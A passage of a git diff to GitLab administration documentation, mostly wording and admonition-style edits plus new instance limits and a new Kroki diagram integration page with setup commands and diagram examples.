+The [minimum time between pull refreshes](../user/project/repository/repository_mirroring.md)
+defaults to 300 seconds (5 minutes).
+
+To change this limit on a self-managed installation, run the following in the
+[GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session):
+
+```ruby
+# If limits don't exist for the default plan, you can create one with:
+# Plan.default.create_limits!
+
+Plan.default.actual_limits.update!(pull_mirror_interval_seconds: 200)
+```
+
## Incoming emails from auto-responders
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30327) in GitLab 12.4.
@@ -235,8 +252,8 @@ If a new pipeline would cause the total number of jobs to exceed the limit, the
will fail with a `job_activity_limit_exceeded` error.
- On GitLab.com different [limits are defined per plan](../user/gitlab_com/index.md#gitlab-cicd) and they affect all projects under that plan.
-- On [GitLab Starter](https://about.gitlab.com/pricing/#self-managed) tier or higher self-managed installations, this limit is defined for the `default` plan that affects all projects.
- This limit is disabled by default.
+- On [GitLab Starter](https://about.gitlab.com/pricing/#self-managed) tier or higher self-managed installations, this limit is defined under a `default` plan that affects all projects.
+ This limit is disabled (`0`) by default.
To set this limit on a self-managed installation, run the following in the
[GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session):
@@ -250,6 +267,29 @@ Plan.default.actual_limits.update!(ci_active_jobs: 500)
Set the limit to `0` to disable it.
+### Maximum number of deployment jobs in a pipeline
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46931) in GitLab 13.7.
+
+You can limit the maximum number of deployment jobs in a pipeline. A deployment is
+any job with an [`environment`](../ci/environments/index.md) specified. The number
+of deployments in a pipeline is checked at pipeline creation. Pipelines that have
+too many deployments fail with a `deployments_limit_exceeded` error.
+
+The default limit is 500 for all [self-managed and GitLab.com plans](https://about.gitlab.com/pricing/).
+
+To change the limit on a self-managed installation, change the `default` plan's limit with the following
+[GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session) command:
+
+```ruby
+# If limits don't exist for the default plan, you can create one with:
+# Plan.default.create_limits!
+
+Plan.default.actual_limits.update!(ci_pipeline_deployments: 500)
+```
+
+Set the limit to `0` to disable it.
+
### Number of CI/CD subscriptions to a project
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9045) in GitLab 12.9.
@@ -261,7 +301,7 @@ If a new subscription would cause the total number of subscription to exceed the
limit, the subscription will be considered invalid.
- On GitLab.com different [limits are defined per plan](../user/gitlab_com/index.md#gitlab-cicd) and they affect all projects under that plan.
-- On [GitLab Starter](https://about.gitlab.com/pricing/#self-managed) tier or higher self-managed installations, this limit is defined for the `default` plan that affects all projects.
+- On [GitLab Starter](https://about.gitlab.com/pricing/#self-managed) tier or higher self-managed installations, this limit is defined under a `default` plan that affects all projects. By default, there is a limit of `2` subscriptions.
To set this limit on a self-managed installation, run the following in the
[GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session):
@@ -285,8 +325,8 @@ On GitLab.com, different limits are [defined per plan](../user/gitlab_com/index.
and they affect all projects under that plan.
On self-managed instances ([GitLab Starter](https://about.gitlab.com/pricing/#self-managed)
-or higher tiers), this limit is defined for the `default` plan that affects all
-projects. By default, there is no limit.
+or higher tiers), this limit is defined under a `default` plan that affects all
+projects. By default, there is a limit of `10` pipeline schedules.
To set this limit on a self-managed installation, run the following in the
[GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session):
@@ -459,8 +499,8 @@ as the overall index size. This value defaults to `1024 KiB` (1 MiB) as any
text files larger than this likely aren't meant to be read by humans.
You must set a limit, as unlimited file sizes aren't supported. Setting this
-value to be greater than the amount of memory on GitLab's Sidekiq nodes causes
-GitLab's Sidekiq nodes to run out of memory, as they will pre-allocate this
+value to be greater than the amount of memory on GitLab Sidekiq nodes causes
+the GitLab Sidekiq nodes to run out of memory, as they will pre-allocate this
amount of memory during indexing.
### Maximum field length
@@ -527,12 +567,12 @@ More information can be found in the [Push event activities limit and bulk push
On GitLab.com, the maximum file size for a package that's uploaded to the [GitLab Package Registry](../user/packages/package_registry/index.md) varies by format:
-- Conan: 3GB
+- Conan: 5GB
- Generic: 5GB
-- Maven: 3GB
-- NPM: 500MB
-- NuGet: 500MB
-- PyPI: 3GB
+- Maven: 5GB
+- NPM: 5GB
+- NuGet: 5GB
+- PyPI: 5GB
To set this limit on a self-managed installation, run the following in the
[GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session):
diff --git a/doc/administration/instance_review.md b/doc/administration/instance_review.md
index b00586b281b..8f33ddf3ca5 100644
--- a/doc/administration/instance_review.md
+++ b/doc/administration/instance_review.md
@@ -1,7 +1,7 @@
---
stage: Growth
group: Conversion
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Instance Review
@@ -21,5 +21,9 @@ you qualify for a free Instance Review.
1. GitLab redirects you to a form with prefilled data obtained from your instance.
1. Click **Submit** to see the initial report.
-A GitLab team member will contact you for further review, to provide suggestions
-that will help you improve your usage of GitLab.
+<!-- vale gitlab.FutureTense = NO -->
+
+You will be contacted by a GitLab team member for further review, to provide suggestions
+intended to help you improve your usage of GitLab.
+
+<!-- vale gitlab.FutureTense = YES -->
diff --git a/doc/administration/integration/kroki.md b/doc/administration/integration/kroki.md
new file mode 100644
index 00000000000..dead5640873
--- /dev/null
+++ b/doc/administration/integration/kroki.md
@@ -0,0 +1,162 @@
+# Kroki diagrams **(CORE ONLY)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241744) in GitLab 13.7.
+
+When [Kroki](https://kroki.io) integration is enabled and configured in
+GitLab you can use it to create diagrams in AsciiDoc and Markdown documents.
+
+## Kroki Server
+
+When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images.
+You can use the free public cloud instance `https://kroki.io` or you can [install Kroki](https://docs.kroki.io/kroki/setup/install/)
+on your own infrastructure.
+After you've installed Kroki, make sure to update the server URL to point to your instance.
+
+### Docker
+
+With Docker, run a container like this:
+
+```shell
+docker run -d --name kroki -p 8080:8000 yuzutech/kroki
+```
+
+The **Kroki URL** is the hostname of the server running the container.
+
+The [`yuzutech/kroki`](https://hub.docker.com/r/yuzutech/kroki) image contains the following diagrams libraries out-of-the-box:
+
+- [Bytefield](https://bytefield-svg.deepsymmetry.org/)
+- [Ditaa](http://ditaa.sourceforge.net)
+- [Erd](https://github.com/BurntSushi/erd)
+- [GraphViz](https://www.graphviz.org/)
+- [Nomnoml](https://github.com/skanaar/nomnoml)
+- [PlantUML](https://github.com/plantuml/plantuml)
+ - [C4 model](https://github.com/RicardoNiepel/C4-PlantUML) (with PlantUML)
+- [Svgbob](https://github.com/ivanceras/svgbob)
+- [UMlet](https://github.com/umlet/umlet)
+- [Vega](https://github.com/vega/vega)
+- [Vega-Lite](https://github.com/vega/vega-lite)
+- [WaveDrom](https://wavedrom.com/)
+
+If you want to use additional diagram libraries,
+read the [Kroki installation](https://docs.kroki.io/kroki/setup/install/#_images) to learn how to start Kroki companion containers.
+
+## Enable Kroki in GitLab
+
+You need to enable Kroki integration from Settings under Admin Area.
+To do that, log in with an administrator account and follow these steps:
+
+1. Select the Admin Area (**{admin}**) icon.
+1. Navigate to **Settings > General**.
+1. Expand the **Kroki** section.
+1. Select **Enable Kroki** checkbox.
+1. Enter the **Kroki URL**.
+
+## Create diagrams
+
+With Kroki integration enabled and configured, you can start adding diagrams to
+your AsciiDoc or Markdown documentation using delimited blocks:
+
+- **Markdown**
+
+ ````markdown
+ ```plantuml
+ Bob -> Alice : hello
+ Alice -> Bob : hi
+ ```
+ ````
+
+- **AsciiDoc**
+
+ ```plaintext
+ [plantuml]
+ ....
+ Bob->Alice : hello
+ Alice -> Bob : hi
+ ....
+ ```
+
+The above blocks are converted to an HTML image tag with source pointing to the
+Kroki instance. If the Kroki server is correctly configured, this should
+render a nice diagram instead of the block:
+
+![PlantUML diagram](../img/kroki_plantuml_diagram.png)
+
+Kroki supports more than a dozen diagram libraries. Here's a few examples:
+
+**GraphViz**
+
+```plaintext
+[graphviz]
+....
+digraph finite_state_machine {
+ rankdir=LR;
+ node [shape = doublecircle]; LR_0 LR_3 LR_4 LR_8;
+ node [shape = circle];
+ LR_0 -> LR_2 [ label = "SS(B)" ];
+ LR_0 -> LR_1 [ label = "SS(S)" ];
+ LR_1 -> LR_3 [ label = "S($end)" ];
+ LR_2 -> LR_6 [ label = "SS(b)" ];
+ LR_2 -> LR_5 [ label = "SS(a)" ];
+ LR_2 -> LR_4 [ label = "S(A)" ];
+ LR_5 -> LR_7 [ label = "S(b)" ];
+ LR_5 -> LR_5 [ label = "S(a)" ];
+ LR_6 -> LR_6 [ label = "S(b)" ];
+ LR_6 -> LR_5 [ label = "S(a)" ];
+ LR_7 -> LR_8 [ label = "S(b)" ];
+ LR_7 -> LR_5 [ label = "S(a)" ];
+ LR_8 -> LR_6 [ label = "S(b)" ];
+ LR_8 -> LR_5 [ label = "S(a)" ];
+}
+....
+```
+
+![GraphViz diagram](../img/kroki_graphviz_diagram.png)
+
+**C4 (based on PlantUML)**
+
+```plaintext
+[c4plantuml]
+....
+@startuml
+!include C4_Context.puml
+
+title System Context diagram for Internet Banking System
+
+Person(customer, "Banking Customer", "A customer of the bank, with personal bank accounts.")
+System(banking_system, "Internet Banking System", "Allows customers to check their accounts.")
+
+System_Ext(mail_system, "E-mail system", "The internal Microsoft Exchange e-mail system.")
+System_Ext(mainframe, "Mainframe Banking System", "Stores all of the core banking information.")
+
+Rel(customer, banking_system, "Uses")
+Rel_Back(customer, mail_system, "Sends e-mails to")
+Rel_Neighbor(banking_system, mail_system, "Sends e-mails", "SMTP")
+Rel(banking_system, mainframe, "Uses")
+@enduml
+....
+```
+
+![C4 PlantUML diagram](../img/kroki_c4_diagram.png)
+
+**Nomnoml**
+
+```plaintext
+[nomnoml]
+....
+[Pirate|eyeCount: Int|raid();pillage()|
+ [beard]--[parrot]
+ [beard]-:>[foul mouth]
+]
+
+[<abstract>Marauder]<:--[Pirate]
+[Pirate]- 0..7[mischief]
+[jollyness]->[Pirate]
+[jollyness]->[rum]
+[jollyness]->[singing]
+[Pirate]-> *[rum|tastiness: Int|swig()]
+[Pirate]->[singing]
+[singing]<->[rum]
+....
+```
+
+![Nomnoml diagram](../img/kroki_nomnoml_diagram.png)
diff --git a/doc/administration/integration/plantuml.md b/doc/administration/integration/plantuml.md
index 5bdea9d8843..a7458999aaa 100644
--- a/doc/administration/integration/plantuml.md
+++ b/doc/administration/integration/plantuml.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, howto
---
@@ -137,7 +137,7 @@ that, login with an Admin account and do following:
- Check **Enable PlantUML** checkbox.
- Set the PlantUML instance as `https://gitlab.example.com/-/plantuml/`.
-NOTE: **Note:**
+NOTE:
If you are using a PlantUML server running v1.2020.9 and
above (for example, [plantuml.com](https://plantuml.com)), set the `PLANTUML_ENCODING`
environment variable to enable the `deflate` compression. On Omnibus,
diff --git a/doc/administration/integration/terminal.md b/doc/administration/integration/terminal.md
index 3c53535d856..f4c242b6e72 100644
--- a/doc/administration/integration/terminal.md
+++ b/doc/administration/integration/terminal.md
@@ -1,14 +1,14 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Web terminals
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7690) in GitLab 8.15.
-NOTE: **Note:**
+NOTE:
Only project maintainers and owners can access web terminals.
With the introduction of the [Kubernetes integration](../../user/project/clusters/index.md),
@@ -27,7 +27,7 @@ In brief:
- When a user navigates to the terminal page for an environment, they are served
a JavaScript application that opens a WebSocket connection back to GitLab.
- The WebSocket is handled in [Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse),
- rather than the Rails application server.
+ rather than the Rails application server.
- Workhorse queries Rails for connection details and user permissions. Rails
queries Kubernetes for them in the background using [Sidekiq](../troubleshooting/sidekiq.md).
- Workhorse acts as a proxy server between the user's browser and the Kubernetes
@@ -44,14 +44,14 @@ everything protected with authorization guards. This is described in more
detail below.
- Interactive web terminals are completely disabled unless [`[session_server]`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-session_server-section) is configured.
-- Every time the runner starts, it will generate an `x509` certificate that will be used for a `wss` (Web Socket Secure) connection.
+- Every time the runner starts, it generates an `x509` certificate that is used for a `wss` (Web Socket Secure) connection.
- For every created job, a random URL is generated which is discarded at the end of the job. This URL is used to establish a web socket connection. The URL for the session is in the format `(IP|HOST):PORT/session/$SOME_HASH`, where the `IP/HOST` and `PORT` are the configured [`listen_address`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-session_server-section).
- Every session URL that is created has an authorization header that needs to be sent, to establish a `wss` connection.
- The session URL is not exposed to the users in any way. GitLab holds all the state internally and proxies accordingly.
## Enabling and disabling terminal support
-NOTE: **Note:**
+NOTE:
AWS Elastic Load Balancers (ELBs) do not support web sockets.
AWS Application Load Balancers (ALBs) must be used if you want web terminals
to work. See [AWS Elastic Load Balancing Product Comparison](https://aws.amazon.com/elasticloadbalancing/features/#compare)
@@ -72,7 +72,7 @@ guides document the necessary steps for a selection of popular reverse proxies:
- [HAProxy](https://www.haproxy.com/blog/websockets-load-balancing-with-haproxy/)
- [Varnish](https://varnish-cache.org/docs/4.1/users-guide/vcl-example-websockets.html)
-Workhorse won't let WebSocket requests through to non-WebSocket endpoints, so
+Workhorse doesn't let WebSocket requests through to non-WebSocket endpoints, so
it's safe to enable support for these headers globally. If you'd rather had a
narrower set of rules, you can restrict it to URLs ending with `/terminal.ws`
(although this may still have a few false positives).
@@ -85,7 +85,7 @@ document for more details.
If you'd like to disable web terminal support in GitLab, just stop passing
the `Connection` and `Upgrade` hop-by-hop headers in the *first* HTTP reverse
-proxy in the chain. For most users, this will be the NGINX server bundled with
+proxy in the chain. For most users, this is the NGINX server bundled with
Omnibus GitLab, in which case, you need to:
- Find the `nginx['proxy_set_headers']` section of your `gitlab.rb` file
@@ -95,9 +95,9 @@ Omnibus GitLab, in which case, you need to:
For your own load balancer, just reverse the configuration changes recommended
by the above guides.
-When these headers are not passed through, Workhorse will return a
+When these headers are not passed through, Workhorse returns a
`400 Bad Request` response to users attempting to use a web terminal. In turn,
-they will receive a `Connection failed` message.
+they receive a `Connection failed` message.
## Limiting WebSocket connection time
diff --git a/doc/administration/invalidate_markdown_cache.md b/doc/administration/invalidate_markdown_cache.md
index ac43d0eae63..75bee6e0c9a 100644
--- a/doc/administration/invalidate_markdown_cache.md
+++ b/doc/administration/invalidate_markdown_cache.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
@@ -19,5 +19,5 @@ be done by [changing the application settings through
the API](../api/settings.md#change-application-settings):
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/application/settings?local_markdown_version=<increased_number>
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/application/settings?local_markdown_version=<increased_number>"
```
diff --git a/doc/administration/issue_closing_pattern.md b/doc/administration/issue_closing_pattern.md
index 7abe0f725f2..6a5b90ae963 100644
--- a/doc/administration/issue_closing_pattern.md
+++ b/doc/administration/issue_closing_pattern.md
@@ -1,13 +1,13 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
# Issue closing pattern **(CORE ONLY)**
-NOTE: **Note:**
+NOTE:
This is the administration documentation. There is a separate [user documentation](../user/project/issues/managing_issues.md#closing-issues-automatically)
on issue closing pattern.
@@ -23,7 +23,7 @@ is installed on.
The default pattern can be located in [`gitlab.yml.example`](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example)
under the "Automatic issue closing" section.
-TIP: **Tip:**
+NOTE:
You are advised to use <https://rubular.com> to test the issue closing pattern.
Because Rubular doesn't understand `%{issue_ref}`, you can replace this by
`#\d+` when testing your patterns, which matches only local issue references like `#123`.
diff --git a/doc/administration/job_artifacts.md b/doc/administration/job_artifacts.md
index a010903013e..5d07e7d1b26 100644
--- a/doc/administration/job_artifacts.md
+++ b/doc/administration/job_artifacts.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -103,7 +103,7 @@ If you configure GitLab to store artifacts on object storage, you may also want
[eliminate local disk usage for job logs](job_logs.md#prevent-local-disk-usage).
In both cases, job logs are archived and moved to object storage when the job completes.
-DANGER: **Warning:**
+WARNING:
In a multi-server setup you must use one of the options to
[eliminate local disk usage for job logs](job_logs.md#prevent-local-disk-usage), or job logs could be lost.
@@ -111,21 +111,21 @@ In a multi-server setup you must use one of the options to
#### Object Storage Settings
-NOTE: **Note:**
+NOTE:
In GitLab 13.2 and later, we recommend using the
[consolidated object storage settings](object_storage.md#consolidated-object-storage-configuration).
This section describes the earlier configuration format.
For source installations the following settings are nested under `artifacts:` and then `object_store:`. On Omnibus GitLab installs they are prefixed by `artifacts_object_store_`.
-| Setting | Description | Default |
-|---------|-------------|---------|
-| `enabled` | Enable/disable object storage | `false` |
-| `remote_directory` | The bucket name where Artifacts will be stored| |
-| `direct_upload` | Set to `true` to enable direct upload of Artifacts without the need of local shared storage. Option may be removed once we decide to support only single storage for all files. | `false` |
-| `background_upload` | Set to `false` to disable automatic upload. Option may be removed once upload is direct to S3 | `true` |
-| `proxy_download` | Set to `true` to enable proxying all files served. Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data | `false` |
-| `connection` | Various connection options described below | |
+| Setting | Default | Description |
+|---------------------|---------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| `enabled` | `false` | Enable/disable object storage |
+| `remote_directory` | | The bucket name where Artifacts are stored |
+| `direct_upload` | `false` | Set to `true` to enable direct upload of Artifacts without the need of local shared storage. Option may be removed once we decide to support only single storage for all files. |
+| `background_upload` | `true` | Set to `false` to disable automatic upload. Option may be removed once upload is direct to S3 |
+| `proxy_download` | `false` | Set to `true` to enable proxying all files served. Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data. |
+| `connection` | | Various connection options described below |
#### Connection settings
@@ -190,7 +190,7 @@ _The artifacts are stored by default in
In some cases, you may need to run the [orphan artifact file cleanup Rake task](../raketasks/cleanup.md#remove-orphan-artifact-files)
to clean up orphaned artifacts.
-CAUTION: **Caution:**
+WARNING:
JUnit test report artifact (`junit.xml.gz`) migration
[was not supported until GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/27698#note_317190991)
by the `gitlab:artifacts:migrate` script.
@@ -243,7 +243,7 @@ _The artifacts are stored by default in
In some cases, you may need to run the [orphan artifact file cleanup Rake task](../raketasks/cleanup.md#remove-orphan-artifact-files)
to clean up orphaned artifacts.
-CAUTION: **Caution:**
+WARNING:
JUnit test report artifact (`junit.xml.gz`) migration
[was not supported until GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/27698#note_317190991)
by the `gitlab:artifacts:migrate` script.
@@ -336,7 +336,7 @@ To migrate back to local storage:
If [`artifacts:expire_in`](../ci/yaml/README.md#artifactsexpire_in) is used to set
an expiry for the artifacts, they are marked for deletion right after that date passes.
-Otherwise, they will expire per the [default artifacts expiration setting](../user/admin_area/settings/continuous_integration.md).
+Otherwise, they expire per the [default artifacts expiration setting](../user/admin_area/settings/continuous_integration.md).
Artifacts are cleaned up by the `expire_build_artifacts_worker` cron job which Sidekiq
runs every hour at 50 minutes (`50 * * * *`).
@@ -367,7 +367,7 @@ steps below.
1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect.
-If the `expire` directive is not set explicitly in your pipeline, artifacts will expire per the
+If the `expire` directive is not set explicitly in your pipeline, artifacts expire per the
default artifacts expiration setting, which you can find in the [CI/CD Admin settings](../user/admin_area/settings/continuous_integration.md).
## Validation for dependencies
@@ -444,7 +444,7 @@ reasons are:
- The number of jobs run, and hence artifacts generated, is higher than expected.
- Job logs are larger than expected, and have accumulated over time.
-In these and other cases, you'll need to identify the projects most responsible
+In these and other cases, identify the projects most responsible
for disk space usage, figure out what types of artifacts are using the most
space, and in some cases, manually delete job artifacts to reclaim disk space.
@@ -481,7 +481,7 @@ the number you want.
#### Delete job artifacts from jobs completed before a specific date
-CAUTION: **Caution:**
+WARNING:
These commands remove data permanently from the database and from disk. We
highly recommend running them only under the guidance of a Support Engineer, or
running them in a test environment with a backup of the instance ready to be
@@ -507,8 +507,8 @@ If you need to manually remove job artifacts associated with multiple jobs while
1. Delete job artifacts older than a specific date:
- NOTE: **Note:**
- This step will also erase artifacts that users have chosen to
+ NOTE:
+ This step also erases artifacts that users have chosen to
["keep"](../ci/pipelines/job_artifacts.md#browsing-artifacts).
```ruby
@@ -528,7 +528,7 @@ If you need to manually remove job artifacts associated with multiple jobs while
#### Delete job artifacts and logs from jobs completed before a specific date
-CAUTION: **Caution:**
+WARNING:
These commands remove data permanently from the database and from disk. We
highly recommend running them only under the guidance of a Support Engineer, or
running them in a test environment with a backup of the instance ready to be
@@ -552,7 +552,7 @@ If you need to manually remove **all** job artifacts associated with multiple jo
builds_with_artifacts = Ci::Build.with_existing_job_artifacts(Ci::JobArtifact.trace)
```
-1. Select the user which will be mentioned in the web UI as erasing the job:
+1. Select the user which is mentioned in the web UI as erasing the job:
```ruby
admin_user = User.find_by(username: 'username')
diff --git a/doc/administration/job_logs.md b/doc/administration/job_logs.md
index 23343d309de..7af167de4ad 100644
--- a/doc/administration/job_logs.md
+++ b/doc/administration/job_logs.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Runner
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -30,7 +30,7 @@ it would be `/home/git/gitlab`.
## Changing the job logs local location
-To change the location where the job logs will be stored, follow the steps below.
+To change the location where the job logs are stored, follow the steps below.
**In Omnibus installations:**
@@ -117,12 +117,12 @@ you can do so using one of the following options:
There isn't a way to automatically expire old job logs, but it's safe to remove
them if they're taking up too much space. If you remove the logs manually, the
-job output in the UI will be empty.
+job output in the UI is empty.
For example, to delete all job logs older than 60 days, run the following from a shell in your GitLab instance:
-DANGER: **Warning:**
-This command will permanently delete the log files and is irreversible.
+WARNING:
+This command permanently deletes the log files and is irreversible.
```shell
find /var/opt/gitlab/gitlab-rails/shared/artifacts -name "job.log" -mtime +60 -delete
@@ -132,7 +132,7 @@ find /var/opt/gitlab/gitlab-rails/shared/artifacts -name "job.log" -mtime +60 -d
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18169) in GitLab 10.4.
-NOTE: **Note:**
+NOTE:
This beta feature is off by default. See below for how to [enable or disable](#enabling-incremental-logging) it.
By combining the process with object storage settings, we can completely bypass
@@ -144,7 +144,7 @@ with one change: _the stored path of the first two phases is different_. This in
log architecture stores chunks of logs in Redis and a persistent store (object storage or database) instead of
file storage. Redis is used as first-class storage, and it stores up-to 128KB
of data. After the full chunk is sent, it is flushed to a persistent store, either object storage (temporary directory) or database.
-After a while, the data in Redis and a persistent store will be archived to [object storage](#uploading-logs-to-object-storage).
+After a while, the data in Redis and a persistent store is archived to [object storage](#uploading-logs-to-object-storage).
The data are stored in the following Redis namespace: `Gitlab::Redis::SharedState`.
@@ -184,10 +184,10 @@ Feature.enabled?(:ci_enable_live_trace)
Feature.enable(:ci_enable_live_trace)
```
-NOTE: **Note:**
-The transition period will be handled gracefully. Upcoming logs will be
-generated with the incremental architecture, and on-going logs will stay with the
-legacy architecture, which means that on-going logs won't be forcibly
+NOTE:
+The transition period is handled gracefully. Upcoming logs are
+generated with the incremental architecture, and on-going logs stay with the
+legacy architecture, which means that on-going logs aren't forcibly
re-generated with the incremental architecture.
**To disable incremental logging (trace):**
@@ -196,10 +196,10 @@ re-generated with the incremental architecture.
Feature.disable('ci_enable_live_trace')
```
-NOTE: **Note:**
-The transition period will be handled gracefully. Upcoming logs will be generated
-with the legacy architecture, and on-going incremental logs will stay with the incremental
-architecture, which means that on-going incremental logs won't be forcibly re-generated
+NOTE:
+The transition period is handled gracefully. Upcoming logs are generated
+with the legacy architecture, and on-going incremental logs stay with the incremental
+architecture, which means that on-going incremental logs aren't forcibly re-generated
with the legacy architecture.
### Potential implications
@@ -209,13 +209,13 @@ In some cases, having data stored on Redis could incur data loss:
1. **Case 1: When all data in Redis are accidentally flushed**
- On going incremental logs could be recovered by re-sending logs (this is
supported by all versions of GitLab Runner).
- - Finished jobs which have not archived incremental logs will lose the last part
+ - Finished jobs which have not archived incremental logs lose the last part
(~128KB) of log data.
1. **Case 2: When Sidekiq workers fail to archive (e.g., there was a bug that
prevents archiving process, Sidekiq inconsistency, etc.)**
- - Currently all log data in Redis will be deleted after one week. If the
- Sidekiq workers can't finish by the expiry date, the part of log data will be lost.
+ - All log data in Redis is deleted after one week. If the
+ Sidekiq workers can't finish by the expiry date, the part of log data is lost.
Another issue that might arise is that it could consume all memory on the Redis
instance. If the number of jobs is 1000, 128MB (128KB * 1000) is consumed.
diff --git a/doc/administration/job_traces.md b/doc/administration/job_traces.md
index d0b346a931e..2dbcf5d6705 100644
--- a/doc/administration/job_traces.md
+++ b/doc/administration/job_traces.md
@@ -3,3 +3,6 @@ redirect_to: 'job_logs.md'
---
This document was moved to [another location](job_logs.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/lfs/index.md b/doc/administration/lfs/index.md
index a360542ac44..bc349536a0c 100644
--- a/doc/administration/lfs/index.md
+++ b/doc/administration/lfs/index.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, howto
disqus_identifier: 'https://docs.gitlab.com/ee/workflow/lfs/lfs_administration.html'
---
@@ -71,7 +71,7 @@ GitLab provides two different options for the uploading mechanism: "Direct uploa
[Read more about using object storage with GitLab](../object_storage.md).
-NOTE: **Note:**
+NOTE:
In GitLab 13.2 and later, we recommend using the
[consolidated object storage settings](../object_storage.md#consolidated-object-storage-configuration).
This section describes the earlier configuration format.
diff --git a/doc/administration/lfs/lfs_administration.md b/doc/administration/lfs/lfs_administration.md
index 7ace0ec5a93..a275efce5bb 100644
--- a/doc/administration/lfs/lfs_administration.md
+++ b/doc/administration/lfs/lfs_administration.md
@@ -3,3 +3,6 @@ redirect_to: 'index.md'
---
This document was moved to [another location](index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/lfs/manage_large_binaries_with_git_lfs.md b/doc/administration/lfs/manage_large_binaries_with_git_lfs.md
index 4656bccf5e6..69c401acb86 100644
--- a/doc/administration/lfs/manage_large_binaries_with_git_lfs.md
+++ b/doc/administration/lfs/manage_large_binaries_with_git_lfs.md
@@ -3,3 +3,6 @@ redirect_to: '../../topics/git/lfs/index.md'
---
This document was moved to [another location](../../topics/git/lfs/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/lfs/migrate_from_git_annex_to_git_lfs.md b/doc/administration/lfs/migrate_from_git_annex_to_git_lfs.md
index dd98a50e353..16095c1dbf6 100644
--- a/doc/administration/lfs/migrate_from_git_annex_to_git_lfs.md
+++ b/doc/administration/lfs/migrate_from_git_annex_to_git_lfs.md
@@ -3,3 +3,6 @@ redirect_to: '../../topics/git/lfs/migrate_from_git_annex_to_git_lfs.md'
---
This document was moved to [another location](../../topics/git/lfs/migrate_from_git_annex_to_git_lfs.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/libravatar.md b/doc/administration/libravatar.md
index a92e6fade03..552dc7095e2 100644
--- a/doc/administration/libravatar.md
+++ b/doc/administration/libravatar.md
